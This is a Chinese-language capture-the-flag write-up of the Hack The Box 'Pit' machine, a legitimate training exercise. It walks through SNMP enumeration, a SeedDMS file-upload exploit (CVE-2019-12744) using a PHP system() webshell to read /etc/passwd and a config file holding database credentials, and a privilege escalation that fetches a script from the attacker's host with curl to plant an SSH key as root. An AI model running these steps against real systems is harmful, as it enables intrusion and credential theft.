Hackthebox - Pit

Hackthebox - Pit 靶场实战

靶场信息

靶场类型

信息搜集

首先使用nmap进行端口扫描

nmap -A -sS -sC -sV 10.10.10.241

我们可以看到,该靶场开启了22、80、9090端口

并且有一个一个域名dms-pit.htb,咱们将它加入hosts里

vim /etc/hosts

首先我们访问一下pit.htb看看

就是一个Nginx的初始页面,没什么看的意义

接着咱们看看dms-pit.htb

啊这,直接403,也不用看,那咱们去看看9090端口吧

好像是一个CentOS的在线管理页面,但是咱们也没密码啊

经过大量的目录搜集以后,我发现还是没什么有用的信息,没办法了呀,只能去官方论坛看看大佬们的提示了

大佬说在官方推特会有一个很好的提示,那咱们去找找看吧

官方提示在WALK

所以咱们扫描一下这台机器的snmp开放端口吧

nmap -sU 10.10.10.241

我们发现了他的SNMP版本

我们可以使用以下脚本来进行扫描

https://github.com/dheiland-r7/snmp

这里我们成功获得了内核版本、目录、用户名

目前信息获取搜集到这里,我们还是没有进一步的办法,咋办呢

在我翻找10.10.10.241.snmp文件的时候,发现了一行

这显然是一个目录啊,根据目录来构造,URL应该为http://localhost/seeddms51x/seeddms/,让咱们去尝试一下

确认了URL为http://dms-pit.htb/seeddms51x/seeddms/

然后需要账号密码,那还得去找找snmp文件

发现了两个账户

root和michelle,咱们去尝试一下

测试后发现账号密码为michelle,既是账号,也是密码

漏洞利用

这里咱们可以看到所使用的是SeedDMS,然后去搜索一下有没有相关的漏洞

其中第四个是我们要的漏洞,咱们打开看一下

cat /usr/share/exploitdb/exploits/php/webapps/47022.txt

CVE-2019-12744

这个漏洞的意思呢是

  1. 登录应用程序并在任何文件夹下添加文档
  2. 选择文件作为简单的php后门文件或任何后门webshell都可以使用
  3. 上传后检查与文档对应的文档ID
  4. 访问example.com/data/1048576/“document_id”/1.php?cmd=cat+/etc/passwd以在浏览器中利用

第一步,在本地任意创建一个php文件,内容如下

“; $cmd = ($_REQUEST[‘cmd’]); system($cmd); echo “”; die; } ?>

第二步,登录后台后,依次点击 Docs -> Users -> Michelle -> Add document

第三步,上传php马

第四步,复制php马的连接

http://dms-pit.htb/seeddms51x/seeddms/out/out.ViewDocument.php?documentid=44&showtree=1

从上我们可以得知文档ID为44,然后我们构造poc

http://dms-pit.htb/data/1048576/44/1.php?cmd=cat+/etc/passwd

http://dms-pit.htb/seeddms51x/data/1048576/44/1.php?cmd=cat+/etc/passwd

成功利用该漏洞

该shell会五分钟删除一次,如果被删除了大家重新上传一次即可

咱们查看一下conf/settings.xml文件

http://dms-pit.htb/seeddms51x/data/1048576/45/1.php?cmd=cat%20../../../conf/settings.xml

打开后会发现这是一个空白页面,咱们查看一下源文件

成功拿到数据库账号密码

seeddms

ied^ieY6xoquu

咱们可以看到,数据库账号密码并没有在系统账户里,也就是说无法直接利用ssh进行登录,应该怎么办呢?突然想到,咱们9090端口不是需要一个账号密码嘛,咱们去试试

经过测试,账号是michelle,密码是ied^ieY6xoquu

OK,咱们成功登录

突然,我的眼光就被“终端”两个字吸引了

咱们这就直接从nginx权限,拿到了一个users的权限

成功获得user权限的flag

权限提升

咱们继续把目光放在snmp文件上

在经过确认后,我把眼光放在了这一行上,咱们去看看这个文件

这是一个bash脚本,感觉可能有用,先记录上

上面的脚本显示了从另一个位置运行了脚本,咱们一步步跟过去看看

ls -la /usr/local/monitoring/

无法列出,应该是权限不足,咱们看看该目录的权限

咱们对这个目录有读、写、执行以及+权限

也就是有权限扩展,让咱们查看一下

从上面可以解读出,该目录属于root用户,其他用户有所有权限,但michelle用户只有写入和执行权限

让我们创建一个文件来找出想要的东西

成功了

创建一个sh文件,填入公钥,然后上传到服务器

本地使用python3开启一个http服务器

python3 -m http.server 80

在终端中使用curl进行下载

curl http://10.10.14.236/check.sh -o check.sh

然后拷贝到/usr/local/monitoring/目录下

cp check.sh /usr/local/monitoring/

root账户正运行着一个脚本,监控目录的内容然后在五分钟后删除

把我们的shell放进去后,我们需要在本地运行SNMPwalk应用程序执行它

snmpwalk -m +MY-MIB -v2c -c public 10.10.10.241 nsExtendObjects

然后咱们使用ssh进行连接

ssh -i lucifiel root@10.10.10.241

如果这里提示root@10.10.10.241: Permission denied (publickey,gssapi-keyex,gssapi-with-mic).

则是snmpwalk的问题,输入sudo apt-get install snmp-mibs-downloader进行重新安装即可

成功拿到root权限的flag